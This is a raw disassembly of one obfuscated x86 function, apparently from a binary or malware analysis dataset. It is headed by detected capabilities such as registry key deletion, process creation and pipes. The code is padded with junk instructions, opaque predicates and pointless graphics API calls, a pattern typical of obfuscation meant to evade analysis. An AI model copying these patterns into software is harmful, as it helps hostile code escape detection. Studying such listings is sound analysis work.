Function at 0x1002d83b
Capabilities:
Connect pipe
Create pipe
Create process on windows
Delete registry key
Get common file path
Get geographical location
Parse pe header
Query environment variable
Set environment variable

Disassembly:
mov eax, 0x1006e8b5
call fcn.1006d1a8
mov eax, 0x1434
call fcn.10069590
mov dword [ebp - 0x18], 5
xor eax, eax
mov dword [ebp - 0x64], ecx
xor ecx, ecx
inc ecx
mov byte [ebp - 0x69], dl
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x20], 0x17c1
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x28], 0xffff
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
push esi
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push edi
mov edi, dword [sym.imp.USER32.dll_GetDC]
ja 0x1002d8ef
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002d8e8
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x1002d8e5
push 0xbd3
push 0x454
call esi
push eax
xor eax, eax
push eax
call ebx
xor ecx, ecx
xor eax, eax
inc ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jne 0x1002d8c5
jmp 0x1002d90c
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x1002d90c
push 0x1313
push eax
push eax
call esi
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x20]
add edx, 0x27e80a7d
sub edx, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor eax, eax
inc eax
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xf205
setle al
xor ecx, ecx
mov dword [ebp - 0x28], eax
inc ecx
mov dword [ebp - 0x18], 5
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x20], 0x17c1
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x28], 0xffff
ja 0x1002d9d6
mov dword [ebp - 0x28], eax
jmp 0x1002d9cf
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x1002d9cc
push 0xbd3
push 0x454
call esi
push eax
xor eax, eax
push eax
call ebx
xor ecx, ecx
xor eax, eax
inc ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jne 0x1002d9ac
jmp 0x1002d9f1
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x1002d9f1
push 0x1313
push eax
push eax
call esi
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
push 3
setge dl
sub edx, dword [ebp - 0x20]
add edx, 0x27e80a7d
sub edx, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor eax, eax
inc eax
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xf205
lea ecx, [ebp - 0x368]
setle al
mov dword [ebp - 0x28], eax
pop eax
push eax
call fcn.1001710b
xor eax, eax
xor ecx, ecx
mov dword [ebp - 4], eax
inc ecx
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002da74
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2a4], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002da5c
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002da87
push dword [ebp - 0x18]
call fcn.100171a9
and dword [eax], 0
inc dword [ebp - 0x18]
push 3
pop eax
lea ecx, [ebp - 0x368]
cmp dword [ebp - 0x18], eax
jl 0x1002da79
push 2
pop eax
push eax
call fcn.100171a9
push 2
pop ecx
push ecx
and dword [eax], 0
lea ecx, [ebp - 0x368]
call fcn.100171a9
cmp dword [eax], 0
jg 0x1002db2d
push 2
pop eax
push eax
lea ecx, [ebp - 0x368]
call fcn.100171a9
push 2
mov esi, eax
lea ecx, [ebp - 0x368]
pop eax
push eax
call fcn.100171a9
mov ecx, dword [esi]
push 2
mov ecx, dword [ebp + ecx*4 - 0x2a4]
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0x2a4], ecx
lea ecx, [ebp - 0x368]
pop eax
push eax
call fcn.100171a9
xor esi, esi
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x2a4], esi
jne 0x1002db27
push 2
pop eax
push eax
lea ecx, [ebp - 0x368]
call fcn.100171a9
push 2
lea ecx, [ebp - 0x368]
inc dword [eax]
pop eax
push eax
call fcn.100171a9
cmp dword [eax], esi
jle 0x1002dab5
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x1c], 0xfffffff5
jmp 0x1002db76
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x14], 0x1d
cmp dword [ebp - 0x14], 0xfffffff8
jne 0x1002db73
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x1002db6a
push eax
push 0x12de
push eax
call esi
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff8
je 0x1002db4c
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe4
jg 0x1002db36
or eax, 0xffffffff
lea ecx, [ebp - 0x368]
mov dword [ebp - 4], eax
call fcn.1001718d
mov dword [ebp - 0x18], 5
xor eax, eax
xor ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x20], 0x17c1
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x28], 0xffff
ja 0x1002dc12
mov dword [ebp - 0x28], eax
jmp 0x1002dc0b
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x1002dc08
push 0xbd3
push 0x454
call esi
push eax
xor eax, eax
push eax
call ebx
xor ecx, ecx
xor eax, eax
inc ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jne 0x1002dbe8
jmp 0x1002dc2d
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x1002dc2d
push 0x1313
push eax
push eax
call esi
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
push 2
setge dl
sub edx, dword [ebp - 0x20]
add edx, 0x27e80a7d
sub edx, dword [ebp - 0x28]
neg edx
pop esi
sbb edx, edx
xor ecx, ecx
xor ebx, ebx
inc edx
inc ebx
cmp edx, ebx
push esi
setge cl
xor eax, eax
cmp ecx, 0xf205
lea ecx, [ebp - 0x648]
setle al
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x1c], 0xfc520ea0
mov dword [ebp - 0x40], 0xcf7d
call fcn.1001710b
xor eax, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002dcc0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x648]
call fcn.100171a9
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002dca2
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1002dcee
mov edx, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x1002dcee
xor eax, eax
mov ecx, eax
jmp 0x1002dcf0
mov ecx, ebx
mov eax, dword [ebp - 0x34]
imul eax, ecx
mov ecx, 0xbc00eadd
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
sub edx, eax
mov eax, dword [ebp - 0x40]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp edx, eax
mov eax, dword [ebp - 0x34]
setg cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
xor eax, eax
inc edx
imul edx, dword [ebp - 0x34]
test edx, edx
je 0x1002dd44
mov esi, ebx
cmp dword [ebp - 0x1c], eax
jne 0x1002dd46
mov esi, eax
push eax
lea ecx, [ebp - 0x648]
call fcn.100171a9
lea ecx, [ebp - 0x648]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.100171a9
mov edi, dword [ebp - 0x30]
lea ecx, [ebp - 0x648]
sub edi, dword [eax]
neg edi
sbb edi, edi
xor eax, eax
push eax
inc edi
call fcn.100171a9
lea ecx, [ebp - 0x648]
mov esi, dword [eax]
xor eax, eax
imul esi, edi
push eax
add esi, 0xcd36
call fcn.100171a9
lea ecx, [ebp - 0x648]
mov dword [eax], esi
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1001718d
push 3
pop ebx
push ebx
lea ecx, [ebp - 0x3ec]
call fcn.1001710b
push 2
pop esi
mov dword [ebp - 4], esi
xor eax, eax
xor edi, edi
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x18], eax
inc edi
cmp dword [ebp - 0x18], edi
jge 0x1002dde7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x294], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002ddcf
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002de11
push 3
xor ebx, ebx
pop esi
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3ec]
call fcn.100171a9
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002ddf4
push 2
pop esi
jmp 0x1002de13
xor ebx, ebx
push esi
lea ecx, [ebp - 0x3ec]
call fcn.100171a9
push esi
lea ecx, [ebp - 0x3ec]
mov dword [eax], ebx
call fcn.100171a9
cmp dword [eax], ebx
jg 0x1002de9b
push 2
pop edi
push edi
lea ecx, [ebp - 0x3ec]
call fcn.100171a9
push edi
lea ecx, [ebp - 0x3ec]
mov esi, eax
call fcn.100171a9
mov ecx, dword [esi]
push edi
mov ecx, dword [ebp + ecx*4 - 0x294]
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0x294], ecx
lea ecx, [ebp - 0x3ec]
call fcn.100171a9
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x294], ebx
jne 0x1002de95
push edi
lea ecx, [ebp - 0x3ec]
call fcn.100171a9
push edi
lea ecx, [ebp - 0x3ec]
inc dword [eax]
call fcn.100171a9
cmp dword [eax], ebx
jle 0x1002de34
xor edi, edi
push 2
inc edi
pop esi
mov dword [ebp - 0x1c], 0xfffffff5
jmp 0x1002deec
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x14], 0x1d
cmp dword [ebp - 0x14], 0xfffffff8
jne 0x1002dee9
xor eax, eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], 0
je 0x1002dee0
push eax
push 0x12de
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff8
je 0x1002deba
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe4
jg 0x1002dea4
or eax, 0xffffffff
lea ecx, [ebp - 0x3ec]
mov dword [ebp - 4], eax
call fcn.1001718d
push 3
pop ebx
push ebx
lea ecx, [ebp - 0x808]
call fcn.1001710b
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x91c]
mov dword [ebp - 0x3c], 0xfffffffb
push 4
call fcn.1001710b
mov byte [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x20], 0x28de
mov dword [ebp - 0x44], 0x7d884bb8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002df63
push dword [ebp - 0x24]
lea ecx, [ebp - 0x808]
call fcn.100171a9
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002df45
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002df83
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x344], 0xd6923607
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002df6b
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002dfad
or edi, 0xffffffff
push dword [ebp - 0x24]
lea ecx, [ebp - 0x91c]
call fcn.100171a9
mov dword [eax], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002df8f
xor edi, edi
xor eax, eax
inc edi
push eax
lea ecx, [ebp - 0x808]
call fcn.100171a9
cmp dword [eax], 0
jne 0x1002dfd6
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x808]
inc dword [ebp - 0x20]
push esi
call fcn.100171a9
mov eax, dword [ebp - 0x340]
mov eax, dword [ebp - 0x340]
xor eax, eax
cmp dword [ebp - 0x340], eax
je 0x1002e22d
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xb
jl 0x1002e1f2
jmp 0x1002e00b
xor eax, eax
mov dword [ebp - 0x40], 0x2f617a94
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x30], 0xe0d6
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x14], eax
jmp 0x1002e039
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1238], 0xafe0a4d2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e028
mov eax, dword [ebp - 0x340]
lea ecx, [ebp - 0x91c]
push ebx
call fcn.100171a9
mov ecx, dword [ebp - 0x1c]
xor edx, edx
push ebx
cmp dword [eax], ecx
mov ecx, ebx
setle dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x340], ecx
lea ecx, [ebp - 0x91c]
mov eax, dword [ebp - 0x28]
call fcn.100171a9
mov dword [eax], 0x2a6ca0ce
mov dword [ebp - 0x28], 0xffffffea
jmp 0x1002e1d5
xor eax, eax
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x59], al
cmp byte [ebp - 0x59], al
je 0x1002e0ac
push 0x4dd
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [ebp - 0x18], 0xfffffffa
jmp 0x1002e1c8
movdqa xmm0, xmmword [0x10007d10]
lea eax, [ebp - 0x10f8]
push eax
lea eax, [ebp - 0x1108]
push eax
lea ecx, [ebp - 0x12f4]
movdqu xmmword [ebp - 0x1108], xmm0
call fcn.100171bb
lea ecx, [ebp - 0x2ad]
mov esi, eax
call fcn.100171b8
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x95c]
push dword [esi]
call fcn.10017167
xor eax, eax
mov byte [ebp - 4], 5
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x95c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
push ebx
call fcn.100171a9
push ebx
lea ecx, [ebp - 0x95c]
call fcn.100171a9
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1234], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002e149
mov edx, edi
cmp dword [ebp - 0x20], eax
jne 0x1002e14b
mov edx, eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0x464b
test eax, eax
je 0x1002e168
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1002e16a
jmp 0x1002e16c
xor eax, eax
mov edi, eax
xor eax, eax
lea ecx, [ebp - 0x95c]
inc eax
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x1c]
mov esi, eax
sub ecx, edi
xor eax, eax
cmp ecx, 0x1a4633be
mov ecx, dword [ebp - 0x28]
setle al
xor edx, edx
cmp eax, ecx
mov ecx, dword [esi]
mov eax, dword [ebp - 0x18]
setne dl
sub ecx, edx
sub ecx, eax
jne 0x1002e1ae
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002e1ae
xor edi, edi
inc edi
jmp 0x1002e1b3
xor edi, edi
inc edi
mov eax, edi
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x95c]
mov byte [ebp - 4], 4
call fcn.1001718d
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff2
jle 0x1002e0b8
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe9
jle 0x1002e091
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xb
push 0xffffffffffffffff
pop ecx
jge 0x1002e009
push 2
pop esi
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x91c]
mov eax, dword [ebp - 0x44]
push ebx
call fcn.100171a9
lea ecx, [ebp - 0x808]
and dword [eax], 0
mov eax, dword [ebp - 0x344]
xor eax, eax
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x48]
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
imul ecx, dword [eax]
mov dword [ebp - 0x48], ecx
jmp 0x1002e233
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x40]
lea ecx, [ebp - 0x91c]
call fcn.1001718d
or eax, 0xffffffff
lea ecx, [ebp - 0x808]
mov dword [ebp - 4], eax
call fcn.1001718d
push esi
lea ecx, [ebp - 0x4f4]
call fcn.1001710b
mov dword [ebp - 4], 6
lea ecx, [ebp - 0xe6c]
mov dword [ebp - 0x28], 0x99cfe04
push esi
call fcn.1001710b
xor eax, eax
mov byte [ebp - 4], 7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002e2a1
push dword [ebp - 0x18]
lea ecx, [ebp - 0x4f4]
call fcn.100171a9
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002e283
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002e2c3
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe6c]
call fcn.100171a9
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002e2a9
xor eax, eax
push eax
lea ecx, [ebp - 0x4f4]
call fcn.100171a9
mov dword [eax], 0xfffffffb
jmp 0x1002e2ea
dec dword [ebp - 0x28]
lea ecx, [ebp - 0x4f4]
xor eax, eax
push eax
call fcn.100171a9
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x4f4]
push eax
call fcn.100171a9
cmp dword [eax], edi
jl 0x1002e2d7
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002e31a
push dword [ebp - 0x28]
lea ecx, [ebp - 0x4f4]
call fcn.100171a9
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1002e303
lea ecx, [ebp - 0xe6c]
call fcn.1001718d
or esi, 0xffffffff
lea ecx, [ebp - 0x4f4]
mov dword [ebp - 4], esi
call fcn.1001718d
mov dword [ebp - 0x34], 5
xor eax, eax
mov dword [ebp - 0x48], 0xcf5720e
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], 0x7af5af8b
mov dword [ebp - 0x30], 0x5ad6
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x14], eax
jmp 0x1002e37c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa34], 0xd9532bb1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e36b
dec dword [ebp - 0x1c]
xor ebx, ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0xa30]
mov eax, dword [ebp - 0x3c]
imul ecx, eax
mov eax, dword [ebp - 0xa2c]
mov edx, dword [ebp - 0xa34]
push edi
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl bl
xor ecx, ecx
imul edx, ebx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0xa2c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x48], edi
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
inc ecx
cmp eax, ecx
lea ecx, [ebp - 0x204]
setne dl
xor eax, eax
cmp edx, 0x2cbd4dae
setne al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edi
call fcn.1001710b
lea eax, [ebp - 0x1038]
mov dword [ebp - 4], 8
movdqa xmm0, xmmword [0x10007d10]
lea ecx, [ebp - 0x133c]
push eax
lea eax, [ebp - 0x1048]
mov dword [ebp - 0x40], 0xe426067
push eax
movdqu xmmword [ebp - 0x1048], xmm0
call fcn.100171bb
lea ecx, [ebp - 0x283]
mov esi, eax
call fcn.100171b8
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x6cc]
push dword [esi]
call fcn.10017167
mov byte [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x1c], 0xb73
mov dword [ebp - 0x3c], 0x36eebcb1
mov dword [ebp - 0x40], 0xce4ec6f9
mov dword [ebp - 0x38], 0x86397847
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x30], 0x7be62782
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002e4ac
push dword [ebp - 0x14]
lea ecx, [ebp - 0x204]
call fcn.100171a9
mov dword [eax], 0xa024
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002e48e
xor eax, eax
push eax
lea ecx, [ebp - 0x204]
call fcn.100171a9
cmp dword [eax], 0
jne 0x1002e5bd
xor eax, eax
lea ecx, [ebp - 0x204]
push eax
call fcn.100171a9
cmp dword [eax], 0x29ed7d41
jl 0x1002e4f0
xor eax, eax
lea ecx, [ebp - 0x204]
push eax
call fcn.100171a9
cmp dword [eax], 0
je 0x1002e4f0
mov esi, edi
xor eax, eax
jmp 0x1002e4f4
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x204]
call fcn.100171a9
xor edx, edx
cmp esi, 0x907c
sete dl
xor ecx, ecx
cmp edx, dword [eax]
setg cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x204]
mov eax, dword [ebp - 0x40]
xor eax, eax
push eax
call fcn.100171a9
push 3
pop eax
push eax
lea ecx, [ebp - 0x6cc]
call fcn.100171a9
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp dword [eax], ecx
sete dl
cmp edx, 0xfffffffe
jl 0x1002e55b
push edi
lea ecx, [ebp - 0x6cc]
call fcn.100171a9
cmp dword [eax], 0
je 0x1002e55b
mov esi, edi
xor eax, eax
jmp 0x1002e55f
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x204]
call fcn.100171a9
xor ecx, ecx
cmp dword [eax], esi
setle cl
sub ecx, 0x40f8
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x204]
push eax
call fcn.100171a9
mov ecx, dword [ebp - 0x30]
xor ebx, ebx
push 3
cmp ecx, dword [eax]
lea ecx, [ebp - 0x6cc]
pop eax
push eax
setge bl
call fcn.100171a9
push 3
lea ecx, [ebp - 0x6cc]
mov esi, dword [eax]
pop eax
push eax
imul esi, ebx
call fcn.100171a9
mov dword [eax], esi
xor eax, eax
lea ecx, [ebp - 0x204]
push eax
call fcn.100171a9
xor eax, eax
lea ecx, [ebp - 0x204]
push eax
call fcn.100171a9
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x6cc]
xor eax, eax
push eax
call fcn.100171a9
xor edx, edx
cmp dword [eax], edx
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x6cc]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x3c]
xor eax, eax
mov dword [ebp - 0x30], eax
call fcn.1001718d
or ebx, 0xffffffff
lea ecx, [ebp - 0x204]
mov dword [ebp - 4], ebx
call fcn.1001718d
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x48], 0xcf5720e
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0x7af5af8b
mov dword [ebp - 0x30], 0x5ad6
push 3
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x14], eax
pop esi
jmp 0x1002e674
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x974], 0xd9532bb1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e663
dec dword [ebp - 0x1c]
xor ebx, ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x970]
mov eax, dword [ebp - 0x3c]
imul ecx, eax
mov eax, dword [ebp - 0x96c]
mov edx, dword [ebp - 0x974]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl bl
xor ecx, ecx
imul edx, ebx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x96c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x48], edi
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
inc ecx
cmp eax, ecx
setne dl
xor eax, eax
cmp edx, 0x2cbd4dae
setne al
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x18], 0x30f94f37
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002e72b
mov eax, dword [ebp - 0x14]
